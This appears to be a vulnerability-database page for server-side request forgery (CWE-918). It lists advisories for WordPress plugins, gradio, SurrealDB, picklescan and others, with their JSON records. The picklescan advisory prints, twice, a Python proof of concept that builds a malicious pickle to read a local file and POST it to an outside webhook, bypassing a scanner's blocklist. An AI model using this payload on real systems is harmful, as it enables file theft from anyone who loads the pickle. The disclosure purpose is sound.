CWE-918
AllowedServer-Side Request Forgery (SSRF)
Abstraction: Base · Status: Incomplete
The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination.
4758 vulnerabilities reference this CWE, most recent first.
GHSA-96WR-9R65-6G5Q
Vulnerability from github – Published: 2024-11-04 15:31 – Updated: 2026-04-01 18:32Server-Side Request Forgery (SSRF) vulnerability in Noor alam Magical Addons For Elementor allows Server Side Request Forgery.This issue affects Magical Addons For Elementor: from n/a through 1.2.1.
{
"affected": [],
"aliases": [
"CVE-2024-51665"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-11-04T14:15:16Z",
"severity": "MODERATE"
},
"details": "Server-Side Request Forgery (SSRF) vulnerability in Noor alam Magical Addons For Elementor allows Server Side Request Forgery.This issue affects Magical Addons For Elementor: from n/a through 1.2.1.",
"id": "GHSA-96wr-9r65-6g5q",
"modified": "2026-04-01T18:32:17Z",
"published": "2024-11-04T15:31:58Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-51665"
},
{
"type": "WEB",
"url": "https://patchstack.com/database/Wordpress/Plugin/magical-addons-for-elementor/vulnerability/wordpress-magical-addons-for-elementor-plugin-1-2-1-server-side-request-forgery-ssrf-vulnerability?_s_id=cve"
},
{
"type": "WEB",
"url": "https://patchstack.com/database/vulnerability/magical-addons-for-elementor/wordpress-magical-addons-for-elementor-plugin-1-2-1-server-side-request-forgery-ssrf-vulnerability?_s_id=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:L/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-9726-W42J-3QJR
Vulnerability from github – Published: 2026-01-08 17:25 – Updated: 2026-06-18 14:46Summary
Unsafe pickle deserialization allows unauthenticated attackers to read arbitrary server files and perform SSRF. By chaining io.FileIO and urllib.request.urlopen, an attacker can bypass RCE-focused blocklists to exfiltrate sensitive data (example: /etc/passwd) to an external server.
Details
The application deserializes untrusted pickle data. While RCE keywords (os, exec) may be blocked, the exploit abuses standard library features:
-
io.FileIO: Opens local files without using builtins.open.
-
urllib.request.urlopen: Accepts the file object as an iterable body for a POST request.
-
Data Exfiltration: The file content is streamed directly to an attacker-controlled URL during unpickling.
PoC
import pickle, io, urllib.request
class GetFile:
def __reduce__(self):
return (io.FileIO, ('/etc/hosts', 'r'))
class Exfiltrate:
def __reduce__(self):
return (urllib.request.urlopen, ('https://webhook.site/YOUR_UUID_HERE', GetFile()))
with open("bypass_http.pkl", "wb") as f:
pickle.dump(Exfiltrate(), f)
Impact
- Arbitrary file read
Thanks for this library and your time. If you think picklescan is focused on detecting only RCE kind of vulnerabilities rather adding File IO, Http or any protocol based may cause lot of noise, feel free to close this issue.
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "picklescan"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.0.35"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-53872"
],
"database_specific": {
"cwe_ids": [
"CWE-22",
"CWE-918"
],
"github_reviewed": true,
"github_reviewed_at": "2026-01-08T17:25:35Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "### Summary\nUnsafe pickle deserialization allows unauthenticated attackers to read arbitrary server files and perform SSRF. By chaining io.FileIO and urllib.request.urlopen, an attacker can bypass RCE-focused blocklists to exfiltrate sensitive data (example: /etc/passwd) to an external server.\n\n### Details\nThe application deserializes untrusted pickle data. While RCE keywords (os, exec) may be blocked, the exploit abuses standard library features:\n\n1. io.FileIO: Opens local files without using builtins.open.\n\n2. urllib.request.urlopen: Accepts the file object as an iterable body for a POST request.\n\n3. Data Exfiltration: The file content is streamed directly to an attacker-controlled URL during unpickling.\n\n### PoC\n\n```python\nimport pickle, io, urllib.request\n\nclass GetFile:\n def __reduce__(self):\n return (io.FileIO, (\u0027/etc/hosts\u0027, \u0027r\u0027))\n\nclass Exfiltrate:\n def __reduce__(self):\n return (urllib.request.urlopen, (\u0027https://webhook.site/YOUR_UUID_HERE\u0027, GetFile()))\n\nwith open(\"bypass_http.pkl\", \"wb\") as f:\n pickle.dump(Exfiltrate(), f)\n```\n\n\u003cimg width=\"650\" height=\"114\" alt=\"Screenshot 2025-12-30 at 10 13 14\u202fPM\" src=\"https://github.com/user-attachments/assets/4edf9640-80f6-4701-ae87-cff1079e2994\" /\u003e\n\n\n### Impact\n\n- Arbitrary file read\n\nThanks for this library and your time. If you think `picklescan` is focused on detecting only `RCE` kind of vulnerabilities rather adding `File IO`, `Http` or any protocol based may cause lot of noise, feel free to close this issue.",
"id": "GHSA-9726-w42j-3qjr",
"modified": "2026-06-18T14:46:26Z",
"published": "2026-01-08T17:25:35Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/mmaitre314/picklescan/security/advisories/GHSA-9726-w42j-3qjr"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-53872"
},
{
"type": "WEB",
"url": "https://github.com/mmaitre314/picklescan/pull/55"
},
{
"type": "WEB",
"url": "https://github.com/mmaitre314/picklescan/commit/a01c58d5dd7960db557b849817c0ab83ab111ef1"
},
{
"type": "PACKAGE",
"url": "https://github.com/mmaitre314/picklescan"
},
{
"type": "WEB",
"url": "https://github.com/mmaitre314/picklescan/releases/tag/v0.0.35"
},
{
"type": "WEB",
"url": "https://www.vulncheck.com/advisories/picklescan-arbitrary-file-read-via-unsafe-pickle-deserialization"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:P",
"type": "CVSS_V4"
}
],
"summary": "picklescan has Arbitrary file read using `io.FileIO` "
}
GHSA-973G-55HP-3FRW
Vulnerability from github – Published: 2024-06-06 18:30 – Updated: 2024-06-06 22:06A Server-Side Request Forgery (SSRF) vulnerability exists in the gradio-app/gradio and was discovered in version 4.21.0, specifically within the /queue/join endpoint and the save_url_to_cache function. The vulnerability arises when the path value, obtained from the user and expected to be a URL, is used to make an HTTP request without sufficient validation checks. This flaw allows an attacker to send crafted requests that could lead to unauthorized access to the local network or the AWS metadata endpoint, thereby compromising the security of internal servers.
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "gradio"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "4.36.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2024-4325"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": true,
"github_reviewed_at": "2024-06-06T22:06:57Z",
"nvd_published_at": "2024-06-06T18:15:18Z",
"severity": "HIGH"
},
"details": "A Server-Side Request Forgery (SSRF) vulnerability exists in the gradio-app/gradio and was discovered in version 4.21.0, specifically within the `/queue/join` endpoint and the `save_url_to_cache` function. The vulnerability arises when the `path` value, obtained from the user and expected to be a URL, is used to make an HTTP request without sufficient validation checks. This flaw allows an attacker to send crafted requests that could lead to unauthorized access to the local network or the AWS metadata endpoint, thereby compromising the security of internal servers.",
"id": "GHSA-973g-55hp-3frw",
"modified": "2024-06-06T22:06:58Z",
"published": "2024-06-06T18:30:58Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-4325"
},
{
"type": "WEB",
"url": "https://github.com/gradio-app/gradio/pull/8301"
},
{
"type": "PACKAGE",
"url": "https://github.com/gradio-app/gradio"
},
{
"type": "WEB",
"url": "https://huntr.com/bounties/b34f084b-7d14-4f00-bc10-048a3a5aaf88"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "Server-Side Request Forgery in gradio"
}
GHSA-974J-5RXR-363R
Vulnerability from github – Published: 2023-09-01 12:30 – Updated: 2024-04-04 07:21Senayan Library Management Systems SLIMS 9 Bulian v9.6.1 is vulnerable to Server Side Request Forgery (SSRF) via admin/modules/bibliography/pop_p2p.php.
{
"affected": [],
"aliases": [
"CVE-2023-40969"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-09-01T11:15:42Z",
"severity": "MODERATE"
},
"details": "Senayan Library Management Systems SLIMS 9 Bulian v9.6.1 is vulnerable to Server Side Request Forgery (SSRF) via admin/modules/bibliography/pop_p2p.php.",
"id": "GHSA-974j-5rxr-363r",
"modified": "2024-04-04T07:21:25Z",
"published": "2023-09-01T12:30:45Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-40969"
},
{
"type": "WEB",
"url": "https://github.com/slims/slims9_bulian/issues/204"
},
{
"type": "WEB",
"url": "https://github.com/komangsughosa/CVE-ID-not-yet/blob/main/slims/slims9_bulian-9.6.1-SSRF-pop_p2p.md"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-978X-993Q-Q6RW
Vulnerability from github – Published: 2026-06-01 21:30 – Updated: 2026-06-01 21:30A vulnerability has been found in hekmon8 Jenkins-server-mcp 0.1.0. This vulnerability affects the function jobPath of the file src/index.ts of the component get_build_status/get_build_log/trigger_build. Such manipulation leads to server-side request forgery. The attack may be performed from remote. The exploit has been disclosed to the public and may be used. The project was informed of the problem early through an issue report but has not responded yet.
{
"affected": [],
"aliases": [
"CVE-2026-10276"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-06-01T19:16:20Z",
"severity": "LOW"
},
"details": "A vulnerability has been found in hekmon8 Jenkins-server-mcp 0.1.0. This vulnerability affects the function jobPath of the file src/index.ts of the component get_build_status/get_build_log/trigger_build. Such manipulation leads to server-side request forgery. The attack may be performed from remote. The exploit has been disclosed to the public and may be used. The project was informed of the problem early through an issue report but has not responded yet.",
"id": "GHSA-978x-993q-q6rw",
"modified": "2026-06-01T21:30:42Z",
"published": "2026-06-01T21:30:41Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-10276"
},
{
"type": "WEB",
"url": "https://github.com/hekmon8/Jenkins-server-mcp/issues/4"
},
{
"type": "WEB",
"url": "https://github.com/hekmon8/Jenkins-server-mcp"
},
{
"type": "WEB",
"url": "https://vuldb.com/cve/CVE-2026-10276"
},
{
"type": "WEB",
"url": "https://vuldb.com/submit/825412"
},
{
"type": "WEB",
"url": "https://vuldb.com/vuln/367569"
},
{
"type": "WEB",
"url": "https://vuldb.com/vuln/367569/cti"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-979G-7427-R7WV
Vulnerability from github – Published: 2022-05-24 17:45 – Updated: 2022-05-24 17:45MuleSoft is aware of a Server Side Request Forgery vulnerability affecting certain versions of a Mule runtime component that may affect both CloudHub and on-premise customers. This affects: Mule 3.8.x,3.9.x,4.x runtime released before February 2, 2021.
{
"affected": [],
"aliases": [
"CVE-2021-1627"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2021-03-26T17:15:00Z",
"severity": "CRITICAL"
},
"details": "MuleSoft is aware of a Server Side Request Forgery vulnerability affecting certain versions of a Mule runtime component that may affect both CloudHub and on-premise customers. This affects: Mule 3.8.x,3.9.x,4.x runtime released before February 2, 2021.",
"id": "GHSA-979g-7427-r7wv",
"modified": "2022-05-24T17:45:31Z",
"published": "2022-05-24T17:45:31Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-1627"
},
{
"type": "WEB",
"url": "https://help.salesforce.com/articleView?id=000357383\u0026type=1\u0026mode=1"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-979V-MP9W-HH38
Vulnerability from github – Published: 2026-03-27 15:30 – Updated: 2026-03-27 21:31Server-Side Request Forgery (SSRF) vulnerability exists in the AnnounContent of the /admin/read.php in OTCMS V7.66 and before. The vulnerability allows remote attackers to craft HTTP requests, without authentication, containing a URL pointing to internal services or any remote server
{
"affected": [],
"aliases": [
"CVE-2026-30637"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-03-27T15:16:53Z",
"severity": "HIGH"
},
"details": "Server-Side Request Forgery (SSRF) vulnerability exists in the AnnounContent of the /admin/read.php in OTCMS V7.66 and before. The vulnerability allows remote attackers to craft HTTP requests, without authentication, containing a URL pointing to internal services or any remote server",
"id": "GHSA-979v-mp9w-hh38",
"modified": "2026-03-27T21:31:34Z",
"published": "2026-03-27T15:30:26Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-30637"
},
{
"type": "WEB",
"url": "https://github.com/cryingtor/Code-Audit/blob/master/ssrf.md"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-97GR-PMVX-VQG9
Vulnerability from github – Published: 2025-08-15 03:30 – Updated: 2025-08-15 03:30The B Slider- Gutenberg Slider Block for WP plugin for WordPress is vulnerable to Server-Side Request Forgery in version less than, or equal to, 2.0.0 via the fs_api_request function. This makes it possible for authenticated attackers, with subscriber-level access and above to make web requests to arbitrary locations originating from the web application which can be used to query and modify information from internal services.
{
"affected": [],
"aliases": [
"CVE-2025-8680"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-08-15T03:15:37Z",
"severity": "MODERATE"
},
"details": "The B Slider- Gutenberg Slider Block for WP plugin for WordPress is vulnerable to Server-Side Request Forgery in version less than, or equal to, 2.0.0 via the fs_api_request function. This makes it possible for authenticated attackers, with subscriber-level access and above to make web requests to arbitrary locations originating from the web application which can be used to query and modify information from internal services.",
"id": "GHSA-97gr-pmvx-vqg9",
"modified": "2025-08-15T03:30:31Z",
"published": "2025-08-15T03:30:31Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-8680"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/browser/b-slider/tags/1.1.30/bplugins_sdk/inc/Base/FSActivate.php#L166"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/changeset?sfp_email=\u0026sfph_mail=\u0026reponame=\u0026old=3343487%40b-slider\u0026new=3343487%40b-slider\u0026sfp_email=\u0026sfph_mail="
},
{
"type": "WEB",
"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/ac245316-228e-4508-b3fe-f7071fb1bc8e?source=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-97J6-F74W-C455
Vulnerability from github – Published: 2026-03-21 06:30 – Updated: 2026-03-21 06:30The Content Syndication Toolkit plugin for WordPress is vulnerable to Server-Side Request Forgery in all versions up to, and including, 1.3 via the redux_p AJAX action in the bundled ReduxFramework library. The plugin registers a proxy endpoint (wp_ajax_nopriv_redux_p) that is accessible to unauthenticated users. The proxy() method in the Redux_P class takes a URL directly from $_GET['url'] without any validation (the regex is set to /.*/ which matches all URLs) and passes it to wp_remote_request(), which does not have built-in SSRF protection like wp_safe_remote_request(). There is no authentication check, no nonce verification, and no URL restriction. The response from the requested URL is then returned to the attacker, making this a full-read SSRF. This makes it possible for unauthenticated attackers to make web requests to arbitrary locations originating from the web application, which can be used to query and modify information from internal services, scan internal network ports, or interact with cloud metadata endpoints.
{
"affected": [],
"aliases": [
"CVE-2026-3478"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-03-21T04:17:25Z",
"severity": "HIGH"
},
"details": "The Content Syndication Toolkit plugin for WordPress is vulnerable to Server-Side Request Forgery in all versions up to, and including, 1.3 via the redux_p AJAX action in the bundled ReduxFramework library. The plugin registers a proxy endpoint (wp_ajax_nopriv_redux_p) that is accessible to unauthenticated users. The proxy() method in the Redux_P class takes a URL directly from $_GET[\u0027url\u0027] without any validation (the regex is set to /.*/ which matches all URLs) and passes it to wp_remote_request(), which does not have built-in SSRF protection like wp_safe_remote_request(). There is no authentication check, no nonce verification, and no URL restriction. The response from the requested URL is then returned to the attacker, making this a full-read SSRF. This makes it possible for unauthenticated attackers to make web requests to arbitrary locations originating from the web application, which can be used to query and modify information from internal services, scan internal network ports, or interact with cloud metadata endpoints.",
"id": "GHSA-97j6-f74w-c455",
"modified": "2026-03-21T06:30:25Z",
"published": "2026-03-21T06:30:25Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-3478"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/browser/content-syndication-toolkit/tags/1.3/inc/ReduxFramework/ReduxCore/inc/class.p.php#L161"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/browser/content-syndication-toolkit/tags/1.3/inc/ReduxFramework/ReduxCore/inc/class.p.php#L219"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/browser/content-syndication-toolkit/tags/1.3/inc/ReduxFramework/ReduxCore/inc/class.p.php#L7"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/browser/content-syndication-toolkit/trunk/inc/ReduxFramework/ReduxCore/inc/class.p.php#L161"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/browser/content-syndication-toolkit/trunk/inc/ReduxFramework/ReduxCore/inc/class.p.php#L219"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/browser/content-syndication-toolkit/trunk/inc/ReduxFramework/ReduxCore/inc/class.p.php#L7"
},
{
"type": "WEB",
"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/f8381866-d991-4638-ab4d-3b8697acf414?source=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-97VG-427P-8HX5
Vulnerability from github – Published: 2026-07-01 20:20 – Updated: 2026-07-01 20:20SurrealDB offers http::* functions that can access external network endpoints, with the --allow-net and --deny-net capabilities used to restrict the set of network targets that can be reached. An authenticated user of SurrealDB can bypass a port-scoped --deny-net <host>:<port> rule by chaining an HTTP redirect: the initial request goes to an --allow-net-permitted hostname, the response's 3xx Location header points at the denied host:port, and the redirect is followed even though the destination was explicitly denied.
The root cause is in the redirect policy applied to outbound HTTP requests (surrealdb/core/src/fnc/util/http/mod.rs): the NetTarget for the redirect destination is built from url.host_str() alone and url.port() is dropped. The capability matcher (surrealdb/core/src/dbs/capabilities.rs:259-264) refuses to match a port-bearing rule against a port-stripped target (Self::Host(host, Some(port)) => match tgt { _ => false }), so the operator's port-scoped deny rule silently does not fire on the redirect target.
Impact
The impact of this vulnerability is circumvention of the --deny-net capability when the operator has scoped deny rules by port, and the resulting impact on systems external to SurrealDB. The ultimate impact is dependent on the deployment scenario.
For example, if a SurrealDB operator uses --deny-net <host>:<port> to block specific internal services (such as a local Redis at 192.168.1.1:6379 or an unauthenticated cloud metadata service) while leaving the rest of the host reachable, an authenticated principal that can call http::* and host an attacker-controlled redirect target can reach the blocked service and act on whatever interface it exposes.
Bounded to:
- Principals already permitted to call
http::*. - Capability configurations that scope deny rules by port. Host-only rules (
--deny-net <host>) are not affected because the host-only rule arm of the matcher accepts port-stripped targets.
Patches
The redirect policy now constructs the NetTarget for the redirect URL with url.port() included, so port-specific deny rules apply to redirect targets identically to initial requests.
A new integration regression test (function_http_redirect_to_denied_port_blocked) uses two wiremock servers to verify the redirect target is blocked and the denied server receives no requests.
Versions 3.1.0 and later are not affected.
Workarounds
- Replace port-specific deny rules with host-only deny rules where feasible (
--deny-net 192.168.1.1instead of--deny-net 192.168.1.1:6379). Host-only rules match port-stripped targets, at the cost of denying every port on that host. - Disable
http::*for untrusted principals (--deny-funcs 'http::*') where the functions are not required. - Terminate outbound HTTP requests at a reverse proxy that enforces port-specific access controls.
{
"affected": [
{
"package": {
"ecosystem": "crates.io",
"name": "surrealdb"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "3.1.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": true,
"github_reviewed_at": "2026-07-01T20:20:40Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "SurrealDB offers `http::*` functions that can access external network endpoints, with the `--allow-net` and `--deny-net` capabilities used to restrict the set of network targets that can be reached. An authenticated user of SurrealDB can bypass a port-scoped `--deny-net \u003chost\u003e:\u003cport\u003e` rule by chaining an HTTP redirect: the initial request goes to an `--allow-net`-permitted hostname, the response\u0027s `3xx Location` header points at the denied `host:port`, and the redirect is followed even though the destination was explicitly denied.\n\nThe root cause is in the redirect policy applied to outbound HTTP requests (`surrealdb/core/src/fnc/util/http/mod.rs`): the `NetTarget` for the redirect destination is built from `url.host_str()` alone and `url.port()` is dropped. The capability matcher (`surrealdb/core/src/dbs/capabilities.rs:259-264`) refuses to match a port-bearing rule against a port-stripped target (`Self::Host(host, Some(port)) =\u003e match tgt { _ =\u003e false }`), so the operator\u0027s port-scoped deny rule silently does not fire on the redirect target.\n\n### Impact\n\nThe impact of this vulnerability is circumvention of the `--deny-net` capability when the operator has scoped deny rules by port, and the resulting impact on systems external to SurrealDB. The ultimate impact is dependent on the deployment scenario.\n\nFor example, if a SurrealDB operator uses `--deny-net \u003chost\u003e:\u003cport\u003e` to block specific internal services (such as a local Redis at `192.168.1.1:6379` or an unauthenticated cloud metadata service) while leaving the rest of the host reachable, an authenticated principal that can call `http::*` and host an attacker-controlled redirect target can reach the blocked service and act on whatever interface it exposes.\n\nBounded to:\n\n- Principals already permitted to call `http::*`.\n- Capability configurations that scope deny rules by port. Host-only rules (`--deny-net \u003chost\u003e`) are not affected because the host-only rule arm of the matcher accepts port-stripped targets.\n\n### Patches\n\nThe redirect policy now constructs the `NetTarget` for the redirect URL with `url.port()` included, so port-specific deny rules apply to redirect targets identically to initial requests.\n\nA new integration regression test (`function_http_redirect_to_denied_port_blocked`) uses two wiremock servers to verify the redirect target is blocked and the denied server receives no requests.\n\nVersions 3.1.0 and later are not affected.\n\n### Workarounds\n\n- Replace port-specific deny rules with host-only deny rules where feasible (`--deny-net 192.168.1.1` instead of `--deny-net 192.168.1.1:6379`). Host-only rules match port-stripped targets, at the cost of denying every port on that host.\n- Disable `http::*` for untrusted principals (`--deny-funcs \u0027http::*\u0027`) where the functions are not required.\n- Terminate outbound HTTP requests at a reverse proxy that enforces port-specific access controls.",
"id": "GHSA-97vg-427p-8hx5",
"modified": "2026-07-01T20:20:40Z",
"published": "2026-07-01T20:20:40Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/surrealdb/surrealdb/security/advisories/GHSA-97vg-427p-8hx5"
},
{
"type": "WEB",
"url": "https://github.com/surrealdb/surrealdb/commit/https://github.com/surrealdb/surrealdb/commit/ceb1ca3a1"
},
{
"type": "PACKAGE",
"url": "https://github.com/surrealdb/surrealdb"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "SurrealDB: Port-specific --deny-net rules silently bypassed on HTTP redirect"
}
No mitigation information available for this CWE.
CAPEC-664: Server Side Request Forgery
An adversary exploits improper input validation by submitting maliciously crafted input to a target application running on a server, with the goal of forcing the server to make a request either to itself, to web services running in the server’s internal network, or to external third parties. If successful, the adversary’s request will be made with the server’s privilege level, bypassing its authentication controls. This ultimately allows the adversary to access sensitive data, execute commands on the server’s network, and make external requests with the stolen identity of the server. Server Side Request Forgery attacks differ from Cross Site Request Forgery attacks in that they target the server itself, whereas CSRF attacks exploit an insecure user authentication mechanism to perform unauthorized actions on the user's behalf.